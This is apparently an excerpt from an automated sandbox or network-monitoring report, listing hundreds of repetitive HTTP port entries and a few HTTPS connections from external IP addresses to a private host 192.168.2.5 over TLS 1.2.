Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.69:443 -> 192.168.2.5:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50215 version: TLS 1.2
